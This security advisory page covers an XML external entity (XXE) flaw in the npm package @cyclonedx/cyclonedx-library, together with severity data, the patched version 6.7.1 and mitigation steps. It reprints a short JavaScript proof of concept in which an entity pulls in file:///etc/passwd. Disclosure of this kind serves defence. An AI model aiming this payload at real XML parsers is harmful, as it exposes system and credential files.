@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerabilityGHSA-38gf-rh2w-gmj7
HIGHFix: CycloneDX/cyclonedx-javascript-library#1063GHSA-38gf-rh2w-gmj7 is a high-severity (CVSS 8.1) XML External Entity (XXE) vulnerability in @cyclonedx/cyclonedx-library. A fix is available for @cyclonedx/cyclonedx-library — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-38gf-rh2w-gmj7.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@cyclonedx/cyclonedx-librarynpmDescription
Impact
XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.
POC
const {
Spec: { Version },
Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');
const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5">
<components>
<component type="library">
<name>testing</name>
<version>1.337</version>
<licenses>
<license>
<id>&xxe;</id><!-- << XML external entity (XXE) injection -->
</license>
</licenses>
</component>
</components>
</bom>`;
// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
console.error('validation error', ve);
});
Patches
This issue was fixed in @cyclonedx/[email protected] .
Workarounds
Do not run the provided XML validator on untrusted inputs.
References
- issue was introduced via https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @cyclonedx/cyclonedx-library | ≥ 6.7.0&&< 6.7.1 | 6.7.1npm install @cyclonedx/cyclonedx-library@6.7.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @cyclonedx/cyclonedx-library, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @cyclonedx/cyclonedx-library to 6.7.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-38gf-rh2w-gmj7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-38gf-rh2w-gmj7 in your dependencies?
Find it across npm, including transitive dependencies.